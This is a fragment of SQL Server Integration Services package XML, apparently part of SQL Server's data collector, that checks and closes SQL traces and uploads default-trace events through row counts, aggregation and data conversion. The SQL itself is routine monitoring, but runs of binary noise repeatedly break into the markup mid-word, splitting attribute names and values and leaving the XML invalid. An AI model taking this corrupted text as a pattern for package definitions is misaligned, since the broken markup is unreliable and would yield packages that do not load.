PublicKeyToken=89845dcd8080cc91" DTS:Description="Execute SQL Task" DTS:DTSID="{782c9195-15b2-4260-bff9-6d85b486e50f}" DTS:ExecutableType="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="SQL - Check trace info" DTS:TaskContact="Execute SQL Task; Microsoft Corporation; Microsoft SQL Server v9;  2004 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" DTS:ThreadHint="2"><DTS:Variables/><DTS:Log	!!!!!!!!!!!!!!!!!!!!!!!!`2	.=HvgingOptions DTS:FilterKind="0" DTS:LoggingMode="2"/><DTS:ObjectData><SQLTask:SqlTaskData xmlns:SQLTask="www.microsoft.com/sqlserver/dts/tasks/sqltask" SQLTask:Connection="{C9A06CAE-CFEE-4A26-BE59-A3A222474CCB}" SQLTask:SqlStatementSource="DECLARE @status INT&#x0A;SET @status = 2&#x0A;SELECT  @status = CASE t.status                                      WHEN 1 THEN 1 ELSE 0 END&#x0A;FROM sys.traces t&#x0A;WHERE t.path LIKE (? + N'%.trc')&#x0A;SELECT @status" SQLTask:ResultType="ResultSetType_SingleRow"><SQLTask:ResultBinding SQLTask:ResultName="0" SQLTask:DtsVariableName="User::TraceIsRunning"/><SQLTask:ParameterBinding SQLTask:ParameterName="0" SQLTask:DtsVariableName="User::TraceLocation" SQLTask:ParameterDirection="Input" SQLTask:DataType="130" SQLTask:ParameterSize="-1"/></SQLTask:SqlTaskData></DTS:ObjectData></DTS:Executable><DTS:Executable DTS:refId="Package\For Loop Container\SQL - Close trace" DTS:CreationName="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:Description="Execute SQL Task" DTS:DTSID="{0b304887-a5f5-48be-a81e-48ab362bfe41}" DTS:ExecutableType="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="SQL - Close trace" DTS:TaskContact="Execute SQL Task; Microsoft Corporation; Microsoft SQL Server v9;  2004 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" DTS:ThreadHint="2"><DTS:Variables/><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="2"/><DTS:ObjectData><SQLTask:SqlTaskData xmlns:SQLTask="www.microsoft.com/sqlserver/dts/tasks/sqltask" SQLTask:Connection="{607D54DC-E752-4779-9BB2-B3D19CAD0C76}" SQLTask:SqlStatementSource="{ call [sp_trace_setstatus] (?, 2) }"><SQLTask:ParameterBinding SQLTask:ParameterName="0" SQLTask:DtsVariableName="User::TraceID" SQLTask:ParameterDirection="Input" SQLTask:DataType="3" SQLTask:ParameterSize="-1"/></SQLTask:SqlTaskData></DTS:ObjectData></DTS:Executable><DTS:Executable DTS:refId="Package\For Loop Container\SQL - Get Last_Event_Sequence" DTS:CreationName="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:Description="Execute SQL Task" DTS:DTSID="{1fe772eb-42ae-4641-af91-138c98b8fcba}" DTS:ExecutableType="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="SQL - Get Last_Event_Sequence" DTS:TaskContact="Execute SQL Task; Microsoft Corporation; Microsoft SQL Server v9;  2004 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" DTS:ThreadHint="2"><DTS:Variables/><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="2"/><DTS:ObjectData><SQLTask:SqlTaskData xmlns:SQLTask="www.microsoft.com/sqlserver/dts/tasks/sqltask" SQLTask:Connection="{6CE046ED-1A7E-4831-864D-EF6FCE30E5A9}" SQLTask:SqlStatementSource="DECLARE @lastEventSequence BIGINT &#x0A;SET @lastEventSequence = -1&#x0A;SELECT        @lastEventSequence = [last_event_sequence] &#x0A;FROM            [snapshots].[trace_info] &#x0A;WHERE        [trace_info_id] = ? &#x0A;SELECT @lastEventSequence" SQLTask:ResultType="ResultSetType_SingleRow"><SQLTask:ResultBinding SQLTask:ResultName="0" SQLTask:DtsVariableName="User::TraceLastEventSequence"/><SQLTask:ParameterBinding SQLTask:ParameterName="0" SQLTask:DtsVariableName="User::TraceInfoID" SQLTask:ParameterDirection="Input" SQLTask:DataType="3" SQLTask:ParameterSize="-1"/></SQLTask:SqlTaskData></DTS:ObjectData></DTS:Executable></DTS:Executables><DTS:PrecedenceConstraints><DTS:PrecedenceConstraint DTS:refId	!!!!!!!!!!!!!!!!!!!!!!!!`35ҭHv="Package\For Loop Container.PrecedenceConstraints[Constraint]" DTS:CreationName="" DTS:DTSID="{3392402A-8EDF-40CA-B868-CE800491C3A4}" DTS:From="Package\For Loop Container\FEF - For each trace file - regular trace upload" DTS:LogicalAnd="True" DTS:ObjectName="Constraint" DTS:To="Package\For Loop Container\SQL - Get Last_Event_Sequence" DTS:Value="2"/><DTS:PrecedenceConstraint DTS:refId="Package\For Loop Container.PrecedenceConstraints[Constraint 1]" DTS:CreationName="" DTS:DTSID="{77861B0E-1726-4FE2-BEC6-4CAB5CEE2AFA}" DTS:EvalOp="3" DTS:Expression="@[User::TraceIsRunning] == 0" DTS:From="Package\For Loop Container\SQL - Check trace info" DTS:LogicalAnd="True" DTS:ObjectName="Constraint 1" DTS:To="Package\For Loop Container\SQL - Close trace"/><DTS:PrecedenceConstraint DTS:refId="Package\For Loop Container.PrecedenceConstraints[Constraint 2]" DTS:CreationName="" DTS:DTSID="{0B57ACB1-DDFE-4E1F-909A-36BF193C6D15}" DTS:From="Package\For Loop Container\SQL - Get Last_Event_Sequence" DTS:LogicalAnd="True" DTS:ObjectName="Constraint 2" DTS:To="Package\For Loop Container\SQL - Check trace info"/></DTS:PrecedenceConstraints></DTS:Executable><DTS:Executable DTS:refId="Package\SEQ - Default trace upload" DTS:CreationName="STOCK:SEQUENCE" DTS:DelayValidation="True" DTS:Description="Sequence Container" DTS:DTSID="{38B4A79F-D07D-418D-BA5A-2AF603D6620F}" DTS:ExecutableType="STOCK:SEQUENCE" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="SEQ - Default trace upload"><DTS:Variables><DTS:Variable DTS:CreationName="" DTS:DTSID="{AD706893-04C6-4F6A-851B-6E8961A23D59}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="RowCountError"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{CCB242CF-14BC-4978-B629-AC8BDA3637AA}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="RowCountIn"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{F61B5459-D245-44A4-8FFF-694915DE1C25}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="RowCountOut"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable></DTS:Variables><DTS:Executables><DTS:Executable DTS:refId="Package\SEQ - Default trace upload\DFT - Upload default trace file" DTS:CreationName="SSIS.Pipeline.3" DTS:DelayValidation="True" DTS:Description="Data Flow Task" DTS:DTSID="{ed5bc122-e2d0-47fe-9a21-91b4d462f083}" DTS:ExecutableType="SSIS.Pipeline.3" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="DFT - Upload default trace file"><DTS:Variables><DTS:Variable DTS:CreationName="" DTS:DTSID="{a2d94ca5-a845-4067-8951-906992367f42}" DTS:EvaluateAsExpression="True" DTS:Expression="&quot;DECLARE @trace_file_name nvarchar(512)&#x0A;SELECT @trace_file_name = path FROM sys.traces WHERE is_default=1&#x0A;&#x0A;SELECT &#x0A;    [TextData], &#x0A;    [BinaryData], &#x0A;    [DatabaseID], &#x0A;    [TransactionID], &#x0A;    [LineNumber], &#x0A;    [NTUserName], &#x0A;    [NTDomainName], &#x0A;    [HostName], &#x0A;    [ClientProcessID], &#x0A;    [ApplicationName], &#x0A;    [LoginName], &#x0A;    [SPID], &#x0A;    [Duration], &#x0A;    [StartTime], &#x0A;    [EndTime], &#x0A;    [Reads], &#x0A;    [Writes], &#x0A;    [CPU], &#x0A;    [Permissions], &#x0A;    [Severity], &#x0A;    [EventSubClass], &#x0A;    [ObjectID], &#x0A;    [Success], &#x0A;    [IndexID], &#x0A;    [IntegerData], &#x0A;    [ServerName], &#x0A;    [EventClass], &#x0A;    [ObjectType], &#x0A;    [NestLevel], &#x0A;    [State], &#x0A;    [Error], &#x0A;    [Mode], &#x0A;    [Handle], &#x0A;    [ObjectName], &#x0A;    [DatabaseName], &#x0A;    [FileName], &#x0A;    [OwnerName], &#x0A;    [RoleName], &#x0A;    [TargetUserName], &#x0A;    [DBUserName], &#x0A;    [LoginSid], &#x0A;    [TargetLoginName], &#x0A;    [TargetLoginSid], &#x0A;    [ColumnPermissions], &#x0A;    [LinkedServerName], &#x0A;   	!!!!!!!!!!!!!!!!!!!!!!!!`3
Hv [ProviderName], &#x0A;    [MethodName], &#x0A;    [RowCounts], &#x0A;    [RequestID], &#x0A;    [XactSequence], &#x0A;    [EventSequence], &#x0A;    [BigintData1], &#x0A;    [BigintData2], &#x0A;    [GUID], &#x0A;    [IntegerData2], &#x0A;    [ObjectID2], &#x0A;    [Type], &#x0A;    [OwnerID], &#x0A;    [ParentName], &#x0A;    [IsSystem], &#x0A;    [Offset], &#x0A;    [SourceDatabaseID], &#x0A;    [SqlHandle], &#x0A;    [SessionLoginName], &#x0A;    [PlanHandle]&#x0A;, [GroupID] FROM&#x0A;    ::fn_trace_gettable(@trace_file_name, default)&#x0A; WHERE&#x0A;    [EventSequence] &gt; &quot; + @[User::TraceLastEventSequence]" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="TraceLoadScript"><DTS:VariableValue DTS:DataType="8">DECLARE @trace_file_name nvarchar(512)
SELECT @trace_file_name = path FROM sys.traces WHERE is_default=1

SELECT 
    [TextData], 
    [BinaryData], 
    [DatabaseID], 
    [TransactionID], 
    [LineNumber], 
    [NTUserName], 
    [NTDomainName], 
    [HostName], 
    [ClientProcessID], 
    [ApplicationName], 
    [LoginName], 
    [SPID], 
    [Duration], 
    [StartTime], 
    [EndTime], 
    [Reads], 
    [Writes], 
    [CPU], 
    [Permissions], 
    [Severity], 
    [EventSubClass], 
    [ObjectID], 
    [Success], 
    [IndexID], 
    [IntegerData], 
    [ServerName], 
    [EventClass], 
    [ObjectType], 
    [NestLevel], 
    [State], 
    [Error], 
    [Mode], 
    [Handle], 
    [ObjectName], 
    [DatabaseName], 
    [FileName], 
    [OwnerName], 
    [RoleName], 
    [TargetUserName], 
    [DBUserName], 
    [LoginSid], 
    [TargetLoginName], 
    [TargetLoginSid], 
    [ColumnPermissions], 
    [LinkedServerName], 
    [ProviderName], 
    [MethodName], 
    [RowCounts], 
    [RequestID], 
    [XactSequence], 
    [EventSequence], 
    [BigintData1], 
    [BigintData2], 
    [GUID], 
    [IntegerData2], 
    [ObjectID2], 
    [Type], 
    [OwnerID], 
    [ParentName], 
    [IsSystem], 
    [Offset], 
    [SourceDatabaseID], 
    [SqlHandle], 
    [SessionLoginName], 
    [PlanHandle]
, [GroupID] FROM
    ::fn_trace_gettable(@trace_file_name, default)
 WHERE
    [EventSequence] &gt; 0</DTS:VariableValue></DTS:Variable></DTS:Variables><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="2"/><DTS:ObjectData><pipeline BLOBTempStoragePath="" bufferTempStoragePath="" version="1"><components><component refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\AGG - Get max value of EventSequence" componentClassID="{5B201335-B360-485C-BB93-75C34E09B3D3}" contactInfo="Aggregate;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;3" description="Aggregates and groups values in a dataset." name="AGG - Get max value of EventSequence" version="3"><properties><property dataType="System.Int32" description="Specifies the approximate number of group by keys that the aggregation produces. Low indicates 500,000 key values, Medium indicates 5 million key values, and High indicates more than 25 million key values. Unspecified indicates no KeyScale value is used." name="KeyScale" typeConverter="KeyScaleType">0</property><property dataType="System.Null" description="Specifies the exact number of group by keys that the aggregation produces. If a KeyScale value is specified, the value in Keys takes precedence." name="Keys"/><property dataType="System.Int32" description="Specifies the approximate number of distinct values in a column that the aggregation counts distinctly. Low indicates 500,000 key values, Medium indicates 5 million key values, and High indicates more than 25 million key values. Unspecified indicates no CountDistinctScale value is used." name="CountDistinctScale" typeConverter="KeyScaleType">0</property><property dataType="System.Null" description="Specifies the exact number of distinct values in a column that the aggregation counts distinctly. If a CountDistinctScale value is specified, the value in C	!!!!!!!!!!!!!!!!!!!!!!!!`3:/HvountDistinctKeys takes precedence." name="CountDistinctKeys"/><property dataType="System.Int32" description="Specifies the percentage by which memory can be extended during the aggregation. Valid values are between 1 and 100." name="AutoExtendFactor">25</property></properties><inputs><input refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\AGG - Get max value of EventSequence.Inputs[Aggregate Input 1]" name="Aggregate Input 1"><inputColumns><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\AGG - Get max value of EventSequence.Inputs[Aggregate Input 1].Columns[EventSequence]" cachedDataType="i8" cachedName="EventSequence" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[EventSequence]"/></inputColumns><externalMetadataColumns/></input></inputs><outputs><output refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\AGG - Get max value of EventSequence.Outputs[Aggregate Output 1]" name="Aggregate Output 1"><properties><property dataType="System.Int32" description="Specifies the approximate number of group by keys that the aggregation produces. Low indicates 500,000 key values, Medium indicates 5 million key values, and High indicates more than 25 million key values. Unspecified indicates no KeyScale value is used." name="KeyScale" typeConverter="KeyScaleType">0</property><property dataType="System.Null" description="Specifies the exact number of group by keys that the aggregation produces. If a KeyScale value is specified, the value in Keys takes precedence." name="Keys"/></properties><outputColumns><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\AGG - Get max value of EventSequence.Outputs[Aggregate Output 1].Columns[EventSequence_Max]" dataType="i8" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\AGG - Get max value of EventSequence.Outputs[Aggregate Output 1].Columns[EventSequence_Max]" name="EventSequence_Max"><properties><property containsID="true" dataType="System.Int32" description="Specifies the ID of the input column used in the aggregation." name="AggregationColumnId">#{Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[EventSequence]}</property><property dataType="System.Int32" description="Specifies the type of aggregation." name="AggregationType" typeConverter="AggregationType">7</property><property dataType="System.Int32" description="Indicates whether the column requires special handling because it may contain oversized data or it requires precision beyond a float data type." name="IsBig">1</property><property dataType="System.Int32" description="Specifies the string comparison options." name="AggregationComparisonFlags">0</property></properties></outputColumn><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\AGG - Get max value of EventSequence.Outputs[Aggregate Output 1].Columns[event_count]" dataType="ui8" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\AGG - Get max value of EventSequence.Outputs[Aggregate Output 1].Columns[event_count]" name="event_count"><properties><property containsID="true" dataType="System.Int32" description="Specifies the ID of the input column used in the aggregation." name="AggregationColumnId">#{Package\SEQ - Default trace upload\DFT - Upload default trace file\0:invalid}</property><property dataType="System.Int32" description="Specifies the type of aggregation." name="AggregationType" typeConverter="AggregationType">2</property><property dataType="System.Int32" description="Indicates whether the column requires special handling because it may contain oversized data or it requires precision beyond a float data type." name="IsBig">1</property><property dataType="System.Int32" description="Specifies the string comparison options." name="Agg	!!!!!!!!!!!!!!!!!!!!!!!!`3:*զHvregationComparisonFlags">0</property></properties></outputColumn></outputColumns><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\CNT - Error row count source" componentClassID="{E2697D8C-70DA-42B2-8208-A19CE3A9FE41}" contactInfo="Row Count;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;0" description="Counts the rows in a dataset." name="CNT - Error row count source"><properties><property dataType="System.String" description="Specifies the variable to hold the row count." name="VariableName">User::RowCountError</property></properties><inputs><input refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\CNT - Error row count source.Inputs[Row Count Input 1]" hasSideEffects="true" name="Row Count Input 1"><externalMetadataColumns/></input></inputs><outputs><output refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\CNT - Error row count source.Outputs[Row Count Output 1]" name="Row Count Output 1" synchronousInputId="Package\SEQ - Default trace upload\DFT - Upload default trace file\CNT - Error row count source.Inputs[Row Count Input 1]"><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\CNT - Input row count" componentClassID="{E2697D8C-70DA-42B2-8208-A19CE3A9FE41}" contactInfo="Row Count;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;0" description="Counts the rows in a dataset." name="CNT - Input row count"><properties><property dataType="System.String" description="Specifies the variable to hold the row count." name="VariableName">User::RowCountIn</property></properties><inputs><input refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\CNT - Input row count.Inputs[Row Count Input 1]" hasSideEffects="true" name="Row Count Input 1"><externalMetadataColumns/></input></inputs><outputs><output refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\CNT - Input row count.Outputs[Row Count Output 1]" name="Row Count Output 1" synchronousInputId="Package\SEQ - Default trace upload\DFT - Upload default trace file\CNT - Input row count.Inputs[Row Count Input 1]"><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\CNT - Output row count" componentClassID="{E2697D8C-70DA-42B2-8208-A19CE3A9FE41}" contactInfo="Row Count;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;0" description="Counts the rows in a dataset." name="CNT - Output row count"><properties><property dataType="System.String" description="Specifies the variable to hold the row count." name="VariableName">User::RowCountOut</property></properties><inputs><input refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\CNT - Output row count.Inputs[Row Count Input 1]" hasSideEffects="true" name="Row Count Input 1"><externalMetadataColumns/></input></inputs><outputs><output refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\CNT - Output row count.Outputs[Row Count Output 1]" name="Row Count Output 1" synchronousInputId="Package\SEQ - Default trace upload\DFT - Upload default trace file\CNT - Output row count.Inputs[Row Count Input 1]"><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\Data Conversion" componentClassID="{62B1106C-7DB8-4EC8-ADD6-4C664DFFC54A}" contactInfo="Data Conversion;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;0" description="Data Conversion" name="Dat	!!!!!!!!!!!!!!!!!!!!!!!!`3:(aHva Conversion" usesDispositions="true"><inputs><input refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\Data Conversion.Inputs[Data Conversion Input]" name="Data Conversion Input"><inputColumns><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\Data Conversion.Inputs[Data Conversion Input].Columns[SqlHandle]" cachedDataType="image" cachedName="SqlHandle" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[SqlHandle]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\Data Conversion.Inputs[Data Conversion Input].Columns[PlanHandle]" cachedDataType="image" cachedName="PlanHandle" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[PlanHandle]"/></inputColumns><externalMetadataColumns/></input></inputs><outputs><output refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\Data Conversion.Outputs[Data Conversion Output]" exclusionGroup="1" name="Data Conversion Output" synchronousInputId="Package\SEQ - Default trace upload\DFT - Upload default trace file\Data Conversion.Inputs[Data Conversion Input]"><outputColumns><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\Data Conversion.Outputs[Data Conversion Output].Columns[SqlHandle64]" dataType="bytes" errorOrTruncationOperation="Conversion" errorRowDisposition="IgnoreFailure" length="64" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\Data Conversion.Outputs[Data Conversion Output].Columns[SqlHandle64]" name="SqlHandle64" truncationRowDisposition="IgnoreFailure"><properties><property containsID="true" dataType="System.Int32" description="Specifies the input column used as the source of data for the conversion." name="SourceInputColumnLineageID">#{Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[SqlHandle]}</property><property dataType="System.Boolean" description="Indicates whether the column uses the faster, locale-neutral parsing routines." name="FastParse">false</property></properties></outputColumn><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\Data Conversion.Outputs[Data Conversion Output].Columns[PlanHandle64]" dataType="bytes" errorOrTruncationOperation="Conversion" errorRowDisposition="IgnoreFailure" length="64" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\Data Conversion.Outputs[Data Conversion Output].Columns[PlanHandle64]" name="PlanHandle64" truncationRowDisposition="IgnoreFailure"><properties><property containsID="true" dataType="System.Int32" description="Specifies the input column used as the source of data for the conversion." name="SourceInputColumnLineageID">#{Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[PlanHandle]}</property><property dataType="System.Boolean" description="Indicates whether the column uses the faster, locale-neutral parsing routines." name="FastParse">false</property></properties></outputColumn></outputColumns><externalMetadataColumns/></output><output refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\Data Conversion.Outputs[Data Conversion Error Output]" exclusionGroup="1" isErrorOut="true" name="Data Conversion Error Output" synchronousInputId="Package\SEQ - Default trace upload\DFT - Upload default trace file\Data Conversion.Inputs[Data Conversion Input]"><outputColumns><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\Data Conversion.Outputs[Data Conversion Error Output].Columns[ErrorCode]" dataType="i4" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\Data Conversion.Outputs[Data Conversion Error Output].Column	!!!!!!!!!!!!!!!!!!!!!!!!`3:v; Hvs[ErrorCode]" name="ErrorCode" specialFlags="1"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\Data Conversion.Outputs[Data Conversion Error Output].Columns[ErrorColumn]" dataType="i4" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\Data Conversion.Outputs[Data Conversion Error Output].Columns[ErrorColumn]" name="ErrorColumn" specialFlags="2"/></outputColumns><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\DRV - Add columns" componentClassID="{49928E82-9C4E-49F0-AABE-3812B82707EC}" contactInfo="Derived Column;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;0" description="Updates column values using expressions" name="DRV - Add columns" usesDispositions="true"><inputs><input refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\DRV - Add columns.Inputs[Derived Column Input]" description="Input to the Derived Column Transformation" name="Derived Column Input"><inputColumns><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\DRV - Add columns.Inputs[Derived Column Input].Columns[EventSequence_Max]" cachedDataType="i8" cachedName="EventSequence_Max" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\AGG - Get max value of EventSequence.Outputs[Aggregate Output 1].Columns[EventSequence_Max]"/></inputColumns><externalMetadataColumns/></input></inputs><outputs><output refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\DRV - Add columns.Outputs[Derived Column Output]" description="Default Output of the Derived Column Transformation" exclusionGroup="1" name="Derived Column Output" synchronousInputId="Package\SEQ - Default trace upload\DFT - Upload default trace file\DRV - Add columns.Inputs[Derived Column Input]"><outputColumns><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\DRV - Add columns.Outputs[Derived Column Output].Columns[trace_info_id]" dataType="i4" errorOrTruncationOperation="Computation" errorRowDisposition="FailComponent" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\DRV - Add columns.Outputs[Derived Column Output].Columns[trace_info_id]" name="trace_info_id" truncationRowDisposition="FailComponent"><properties><property containsID="true" dataType="System.String" description="Derived Column Expression" name="Expression">@[User::TraceInfoID]</property><property containsID="true" dataType="System.String" description="Derived Column Friendly Expression" expressionType="Notify" name="FriendlyExpression">@[User::TraceInfoID]</property></properties></outputColumn><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\DRV - Add columns.Outputs[Derived Column Output].Columns[snapshot_id]" dataType="i4" errorOrTruncationOperation="Computation" errorRowDisposition="FailComponent" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\DRV - Add columns.Outputs[Derived Column Output].Columns[snapshot_id]" name="snapshot_id" truncationRowDisposition="FailComponent"><properties><property containsID="true" dataType="System.String" description="Derived Column Expression" name="Expression">@[User::SnapshotID]</property><property containsID="true" dataType="System.String" description="Derived Column Friendly Expression" expressionType="Notify" name="FriendlyExpression">@[User::SnapshotID]</property></properties></outputColumn><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\DRV - Add columns.Outputs[Derived Column Output].Columns[is_running]" dataType="i4" errorOrTruncationOperation="Computation" errorRowDisposition="FailComponent" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\DRV - Add columns.Outputs[Derived 	!!!!!!!!!!!!!!!!!!!!!!!!`3:oeRHvColumn Output].Columns[is_running]" name="is_running" truncationRowDisposition="FailComponent"><properties><property containsID="true" dataType="System.String" description="Derived Column Expression" name="Expression">@[User::TraceIsRunning]</property><property containsID="true" dataType="System.String" description="Derived Column Friendly Expression" expressionType="Notify" name="FriendlyExpression">@[User::TraceIsRunning]</property></properties></outputColumn><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\DRV - Add columns.Outputs[Derived Column Output].Columns[dropped_event_count]" dataType="i4" errorOrTruncationOperation="Computation" errorRowDisposition="FailComponent" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\DRV - Add columns.Outputs[Derived Column Output].Columns[dropped_event_count]" name="dropped_event_count" truncationRowDisposition="FailComponent"><properties><property containsID="true" dataType="System.String" description="Derived Column Expression" name="Expression">@[User::TraceDroppedEventCount]</property><property containsID="true" dataType="System.String" description="Derived Column Friendly Expression" expressionType="Notify" name="FriendlyExpression">@[User::TraceDroppedEventCount]</property></properties></outputColumn><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\DRV - Add columns.Outputs[Derived Column Output].Columns[last_event_sequence]" dataType="i8" errorOrTruncationOperation="Computation" errorRowDisposition="FailComponent" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\DRV - Add columns.Outputs[Derived Column Output].Columns[last_event_sequence]" name="last_event_sequence" truncationRowDisposition="FailComponent"><properties><property containsID="true" dataType="System.String" description="Derived Column Expression" name="Expression">[ISNULL](#{Package\SEQ - Default trace upload\DFT - Upload default trace file\AGG - Get max value of EventSequence.Outputs[Aggregate Output 1].Columns[EventSequence_Max]}) ? 0 : #{Package\SEQ - Default trace upload\DFT - Upload default trace file\AGG - Get max value of EventSequence.Outputs[Aggregate Output 1].Columns[EventSequence_Max]}</property><property containsID="true" dataType="System.String" description="Derived Column Friendly Expression" expressionType="Notify" name="FriendlyExpression">ISNULL(EventSequence_Max) ? 0 : EventSequence_Max</property></properties></outputColumn></outputColumns><externalMetadataColumns/></output><output refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\DRV - Add columns.Outputs[Derived Column Error Output]" description="Error Output of the Derived Column Transformation" exclusionGroup="1" isErrorOut="true" name="Derived Column Error Output" synchronousInputId="Package\SEQ - Default trace upload\DFT - Upload default trace file\DRV - Add columns.Inputs[Derived Column Input]"><outputColumns><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\DRV - Add columns.Outputs[Derived Column Error Output].Columns[ErrorCode]" dataType="i4" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\DRV - Add columns.Outputs[Derived Column Error Output].Columns[ErrorCode]" name="ErrorCode" specialFlags="1"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\DRV - Add columns.Outputs[Derived Column Error Output].Columns[ErrorColumn]" dataType="i4" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\DRV - Add columns.Outputs[Derived Column Error Output].Columns[ErrorColumn]" name="ErrorColumn" 